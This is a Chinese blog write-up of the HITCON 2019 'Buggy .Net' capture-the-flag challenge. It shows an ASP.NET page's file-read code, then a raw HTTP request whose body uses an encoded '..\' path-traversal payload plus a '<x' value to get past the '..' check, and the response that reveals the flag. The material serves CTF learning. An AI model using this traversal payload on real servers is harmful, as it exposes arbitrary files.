

3webdogs Day2 第三题: [Windows][HITCON 2019]Buggy_Net

原创

peri0d 于 2021-01-28 15:59:35 发布 123 收藏 1

分类专栏: BUUOJ 文章标签: 网络安全

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_48537150/article/details/113204583

版权



[BUUOJ 专栏收录该内容](#)

9 篇文章 0 订阅

订阅专栏

考点

题目

BUU上少给了flag位置: `C:\FLAG.txt`

给了源码

Buggy .Net

Here is the source for you: Default.txt

比较关键的逻辑如下

```

<%@ Page Language="C#" %>
<%
bool isBad = false;
try {
    if ( Request.Form["filename"] != null ) {
        isBad = Request.Form["filename"].Contains("..") == true;
    }
} catch (Exception ex) {

}

try {
    if (!isBad) {
        Response.Write(System.IO.File.ReadAllText(@"C:\inetpub\wwwroot\" + Request.Form["filename"]));
    }
} catch (Exception ex) {
}
%>

```

首先 `isBad` 为 `false`，如果POST的文件名包含 `..` 的话，`isBad` 就会为 `true`，就读不了文件了。

所以这里要bypass `..` 去读取文件

思路

没整明白，再议

https://balsn.tw/ctf_writup/20191012-hitconctfquals/#buggy-net

<https://www.sigflag.at/blog/2019/writeup-hitconctf2019-buggy-dot-net/>

payload

HTTP头部还要再加上个 `Content-Type: application/x-www-form-urlencoded`

POST这个 `filename=%2E%2E%5C%2E%2E%5CFLAG.txt&o=%3Cx`

```

1 GET / HTTP/1.1
2 Host: node3.buuoj.cn:29655
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Content-Type: application/x-www-form-urlencoded
9 Cookie: UM_distinctid=1773491acc0ff-0d74662bd23926-12666d4a-144000-1773491acc126b
10 Upgrade-Insecure-Requests: 1
11 Content-Length: 42
12
13 filename=%2E%2E%5C%2E%2E%5CFLAG.txt&o=%3Cx

```

```

30 <body>
31 <div class='container'>
32 <br>
33 <br>
34 <div class='row justify-content-center'>
35 <h1><font style='font-size: 200%'>Buggy .Net</font></h1>
36 </div>
37
38 <div class='row justify-content-center'>
39 <i> Here is the source for you: <a href='Default.txt'>Default.txt</i>
40 </div>
41
42 <br>
43 <div class='row justify-content-center'>
44 <div class='col-12 col-md-10 col-lg-12'>
45 <form class='card card-sm' method='POST' action=''>
46 <div class='card-body row no-gutters align-items-center'>
47 <div class='col'>
48 <input class='form-control form-control-lg form-control-borderless' type='text' name='filename' placeholder='filename...'>
49 </div>
50
51 <div class='col-auto'>
52 <button class='btn btn-lg btn-success' type='submit'>Send</button>
53 </div>
54 </div>
55 </form>
56 </div>
57 </div>
58
59 <br>
60 <br>
61 <div class='row justify-content-center'>
62 <h3><font color='red'>flag{1a9af61d-868b-43f0-81d2-a472f8af41d7}
63 </font></h3>
64 </div>

```